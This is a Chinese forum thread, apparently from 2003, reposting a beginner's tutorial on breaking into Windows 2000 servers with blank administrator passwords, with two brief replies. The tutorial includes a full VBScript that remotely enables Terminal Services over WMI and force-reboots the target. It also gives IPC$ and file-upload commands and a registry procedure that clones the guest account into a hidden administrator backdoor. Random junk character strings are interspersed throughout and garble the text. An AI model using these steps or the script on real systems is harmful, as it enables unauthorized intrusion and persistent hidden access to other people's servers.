一次简单的3389入侵

firelinux

一次简单的3389入侵过程 ; {) t; a; F! F2 i0 z+ P) g9 q; ?4 w% q原创：caozhe（草哲） 6 I9 \: m$ N e2 g# t来源：中国欲网技术论坛--草哲 : g. R# l% s) Z4 u; p我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ 5 O( C8 x) v$ ]8 t9 Q* {9 ~( h 于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ 要入侵，我建议你在win2000环境下来*作！ 7 A7 u4 w' z5 u" i. j; a 首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ ; T' O4 ~% I0 j. A5 }$ |5 D( F% T3 S扫描的X-Scan V2.3、WINNTAutoAttack、流光！ O+ E8 |( z0 x+ u- @0 j9 ~X-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ 远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 克隆帐户用个psu就可以了~！ ) H1 v$ W4 y1 g/ lOK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 运行CMD（2000下的DOS），我们给它开终端！ 9 ?- d4 X2 y2 ]命令如下！ cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr 上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） # g0 ^7 G, W! r# Q& i% ?* O, [( O2 p) F 2 x, V% n2 i f# G5 |: w8 L5 l7 {因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ % f0 F, e" {" D( o' s. o2 U. `* O 一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t 安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ ' E/ f" x' F4 d! a; G9 D1 b: | " W( o1 R3 F( ], a+ r7 u回到DOS下！我们建立IPC$连接！ net use \\120.0.0.1\ipc$ "" /user:"administrator" * d& D3 d8 X$ e: s4 R5 T% ^这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ copy psu.exe \\120.0.0.1\admin$\system32 上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ ( V7 r4 [# `2 e7 [8 g 5 e- q1 L- L7 D1 F4 j9 K( g- L假设guest用户被禁用，我们就是要利用guest做后门帐户！ 在该服务器运行CMD，在命令行下输入 psu -p regedit -i PID - ~0 L: V8 F8 [1 Y7 o2 L# s% v * [% M2 Z6 B3 v9 ^; b% G" \这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ , L1 r! u! P: o1 M看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 - Y8 x+ u5 L( l9 g2 {( vpsu -p regedit -i 5458 : U) J. ]9 _! ]+ c: x1 \这样直接打开注册表，可以读取本地sam的信息。 3 p+ _6 `& ~5 t9 m0 Y打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 8 R! p! o' I/ s6 m& a下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 查看administrator的类型，是if4，再看guest的是if5 好了，知道了类型后，打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 0 W* k- w: ^+ C Q* f/ s这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 * a* a# O, J( Y- t" i; uHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 / k6 E- m& M0 A! M* h双击右侧的F，把刚复制的粘贴到里面！ * V: ^7 j3 t! d' a& r+ f+ h 做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 : S% H, P5 S9 j% e. o打开CMD，在命令行下输入 net user guest password + z2 {6 r, f2 V3 n! h这条命令是给guest设置密码，后面的password就是密码 ) g+ K: D. W8 E% F# B+ g然后输入 net user guest /active:y 这命令是激活guest帐户，然后我们把他禁用 net user guest /active:n 8 [# ^! F3 S7 S7 W) V# ^: H2 s上面的三行命令必须在DOS下执行！ $ }, H8 y# O, o" U H* W: v 8 ~: H+ }: L7 _5 [OK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ 而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ 注销一下，用guest登陆吧！ 打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ 如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ # i1 x ^. E, {1 \6 ` 因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ " s. u/ R/ }' }+ J7 Q) I, n: b9 q- R 9 W6 y( M. h" T+ x3 u---------------------------------------------------------------------- 以下是开终端的脚本，把它存为*.vbe , J( D! u4 J5 P" eon error resume next ; X( m5 _% N& N( _$ S( ~set outstreem=wscript.stdout : q" @5 `% c3 y- uset instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then ' c. [" y( `; k9 }# x6 F' C4 s6 \, P set objShell=wscript.createObject("wscript.shell") % N9 f- E* B2 n: \, u1 P3 v objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count<3 then ( ?$ u; k# B& y usage() wscript.echo "Not enough parameters." wscript.quit end if ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) " [8 m& W8 @) rif wscript.arguments.count>3 then port=wscript.arguments(3) 1 O1 W! O u3 `( lelse & B7 R& T. D. ?* ?9 c8 r port=3389 end if if not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quit , V" P: G3 _" q7 e+ Aend if 7 D' B) v% V* k$ N( d: }7 Zif wscript.arguments.count>4 then 3 e8 e# ^7 W6 O- y9 O reboot=wscript.arguments(4) else reboot="" end if 4 Q2 U7 B* s+ p3 G usage() U4 u, I0 } [5 i' [outstreem.write "Conneting "&ipaddress&" ...." ! w9 \" z3 L1 k; |' cset objlocator=createobject("wbemscripting.swbemlocator") 3 G& B7 t A C( l$ E; e6 m$ ]set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) objswbemservices.security_.privileges.add 23,true objswbemservices.security_.privileges.add 18,true $ J) v1 i3 S- N- l- }1 t 9 B5 @9 T) ^9 h) ]9 R( Ioutstreem.write "Checking OS type...." ; h9 g7 X4 d8 X, E) n& D) I+ Qset colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") for each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then wscript.echo "OK!" # H3 A% G D7 _ s else 1 T8 ]8 |5 H* s wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" ( }% z! J9 ]6 P, {+ `( l9 ~ strcancel=instreem.readline , ^3 k/ ^8 q2 C, L) g$ J if lcase(strcancel)<>"n" then wscript.quit end if $ s: N+ P, ?! E# s$ R" xnext % K \$ t4 l! S) g/ ~ 9 j) c" Z( p7 k& m+ joutstreem.write "Writing into registry ...." set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 with objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" U3 {+ n/ Z! }.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" .setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 6 z5 c3 o+ v/ F6 H% g/ Y.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" % J+ }6 _4 g0 F G" Y! d4 [: C.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port end with showerror(err.number) 3 C2 i! H/ `" R . u+ M6 q' M1 l1 ~* Srebt=lcase(reboot) flag=0 if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 : S! A; D8 N& }+ n6 q9 y, Jif rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 if flag<>0 then outstreem.write "Now, reboot target...." 2 K( Q; D* R& w C5 i strwqlquery="select * from win32_operatingsystem where primary='true'" P" M; ?& T- l; j9 g3 Z set colinstances=objswbemservices.execquery(strwqlquery) & B) O9 O: I- ^0 W+ z( W5 \ for each objinstance in colinstances + C8 S* Y! A6 I objinstance.win32shutdown(flag) next showerror(err.number) ; ]2 P5 i6 v! x1 N" Oelse + O% J8 v( [2 I6 l wscript.echo "You need to reboot target."&vbcrlf&"Then," end if wscript.echo "You can logon terminal services on "&port&" later. Good luck!" function showerror(errornumber) 1 m- n0 i: D& Z5 w( }if errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." if err.description <> "" then + M' y7 D1 B% p; y, b wscript.echo "Error description: "&err.description&"." end if wscript.quit 8 \# p: a ~- s0 lelse ' w2 ]6 F/ p3 ]# z wscript.echo "OK!" + V9 f- u- Q9 C% m0 N3 Jend if 5 ]. o/ t% f: B' @2 b' \: Mend function * N( T! |# O% u1 s* |, x5 ? $ C. a& r# _% M% m" E5 L, nfunction usage() wscript.echo string(79,"*") ) V6 j; Q T" V. w" Twscript.echo "ROTS v1.05" : f+ X) i: |' @. f: {: owscript.echo "Remote Open Terminal services Script, by 草哲" * ?5 _/ E% `/ Y' N* E% [* ywscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" $ I! f7 p3 Y2 `- ?! Kwscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" ' T5 K, _6 r- u' @ S9 I8 q* Q/ Nwscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." + r1 y% j1 K2 T# D. Zwscript.echo string(79,"*")&vbcrlf end function 转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
- B5 \  q, ]+ L/ ~还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

: I9 @0 U5 T$ d4 A  b' `

' \: W2 O8 j( q6 b& e, E+ A
$ `7 J7 i( H. z
' q' U6 A' S% G7 G0 ?

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

8 _- g# m1 f0 R% C* j, H

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。